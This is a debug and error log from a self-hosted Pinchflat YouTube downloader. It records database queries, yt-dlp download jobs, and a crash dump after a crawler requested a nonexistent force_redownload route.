s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:21:08.186 [debug] QUERY OK source="media_items" db=0.3ms idle=0.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12827] 16:21:08.186 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:21:08.186 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 16:21:08.370 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 16:21:08.371 [debug] QUERY OK source="media_items" db=0.3ms idle=185.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 16:21:08.373 [debug] QUERY OK source="media_items" db=2.0ms idle=185.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 16:21:08.374 [debug] QUERY OK source="tasks" db=0.0ms idle=188.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [707, 1, ~U[2026-07-24 16:21:08Z], ~U[2026-07-24 16:21:08Z]] 16:21:08.374 [info] {"args":{"id":1},"id":703,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":189351,"event":"job:stop","queue_time":564808,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:21:08.375 [debug] QUERY OK source="tasks" db=0.3ms idle=1.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:21:08.375 [debug] QUERY OK source="media_items" db=0.1ms idle=1.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12827] 16:21:17.299 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9kAA8XDQJQc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Banana Ballistics/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Banana Ballistics/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/b6/36/b636e6fa60213897ef18092aa49e9f8c4701dce0de9e4c33773ad9d3d831cfb4.json --cookies /config/extras/cookies.txt --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 16:21:17.314 [debug] Running yt-dlp command for action: download_thumbnail 16:21:17.314 [debug] QUERY OK source="settings" db=0.1ms idle=1361.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:21:17.314 [debug] QUERY OK source="settings" db=0.1ms idle=1361.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:21:17.314 [debug] QUERY OK source="settings" db=0.0ms idle=1361.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:21:17.315 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9kAA8XDQJQc --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/12827/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/61/0f/610fc9395de6e7bfb1c16ccbcd232b7baf49a0e3f3dd668d2b2b77c119eaec6f.json --cookies /config/extras/cookies.txt --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:21:20.178 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9kAA8XDQJQc --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/12827/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/61/0f/610fc9395de6e7bfb1c16ccbcd232b7baf49a0e3f3dd668d2b2b77c119eaec6f.json --cookies /config/extras/cookies.txt --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 16:21:20.178 [debug] QUERY OK db=0.0ms idle=1225.6ms begin [] 16:21:20.178 [debug] QUERY OK source="media_items" db=0.2ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "thumbnail_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-07-24 16:21:17Z], "/downloads/Banana Ballistics/2026-07-24 The Most Brutal 45 ACP Ever Created/The Most Brutal 45 ACP Ever Created [9kAA8XDQJQc].mp4", "/downloads/Banana Ballistics/2026-07-24 The Most Brutal 45 ACP Ever Created/The Most Brutal 45 ACP Ever Created [9kAA8XDQJQc]-thumb.jpg", ~U[2026-07-24 16:21:20Z], 12827] 16:21:20.179 [debug] QUERY OK source="media_metadata" db=0.1ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/12827/metadata.json.gz", "/config/metadata/media_items/12827/thumbnail.jpg", 12827, ~U[2026-07-24 16:21:20Z], ~U[2026-07-24 16:21:20Z]] 16:21:20.179 [debug] QUERY OK db=0.0ms commit [] 16:21:20.179 [debug] QUERY OK source="media_items" db=0.3ms idle=1226.4ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [373358967, ~U[2026-07-24 16:21:20Z], 12827] 16:21:20.179 [info] User scripts lifecyle file either not present or is empty. Skipping. 16:21:20.179 [info] {"args":{"id":12827},"id":705,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":22618471,"event":"job:stop","queue_time":560740,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 16:21:20.180 [debug] QUERY OK source="tasks" db=0.1ms idle=989.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:21:23.200 [info] {"args":{"id":3},"id":704,"meta":{},"system_time":1784910083200334255,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:21:23.201 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1247.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:21:23.201 [debug] QUERY OK source="tasks" db=0.3ms queue=0.1ms idle=1247.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:21:23.201 [debug] QUERY OK source="settings" db=0.2ms idle=1007.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:21:23.201 [debug] QUERY OK source="sources" db=0.2ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:21:23.201 [debug] QUERY OK source="media_profiles" db=0.4ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:21:23.202 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:21:23.202 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 16:21:23.391 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 16:21:23.391 [debug] QUERY OK source="media_items" db=0.5ms idle=190.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 16:21:23.394 [debug] QUERY OK source="media_items" db=1.8ms idle=190.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 16:21:23.395 [debug] QUERY OK source="tasks" db=0.0ms idle=192.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [708, 3, ~U[2026-07-24 16:21:23Z], ~U[2026-07-24 16:21:23Z]] 16:21:23.395 [info] {"args":{"id":3},"id":704,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":194863,"event":"job:stop","queue_time":584330,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:21:23.396 [debug] QUERY OK source="tasks" db=0.4ms idle=1.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:21:27.146 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:57.147 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:00.727 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:22:07.378 [info] GET /sources/3/force_redownload 16:22:07.379 [debug] QUERY OK source="settings" db=0.1ms idle=1141.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:22:07.379 [debug] QUERY OK source="settings" db=0.1ms idle=426.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:22:07.379 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:22:07.379 [error] #PID<0.10829.0> running PinchflatWeb.Endpoint (connection #PID<0.10828.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/3/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10828.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_redownload", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59432}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10829.0>, params: %{}, path_info: ["sources", "3", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/3"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/3/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVGTdJo4TMtA88AA-OB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10828.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_redownload", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59432}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10828.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_redownload", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59432}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10829.0>, params: %{}, path_info: ["sources", "3", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"ac (truncated) 16:22:27.148 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:57.149 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:00.729 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:23:09.639 [info] GET /sources/2/force_redownload 16:23:09.639 [debug] QUERY OK source="settings" db=0.1ms idle=1337.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:23:09.639 [debug] QUERY OK source="settings" db=0.0ms idle=687.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", 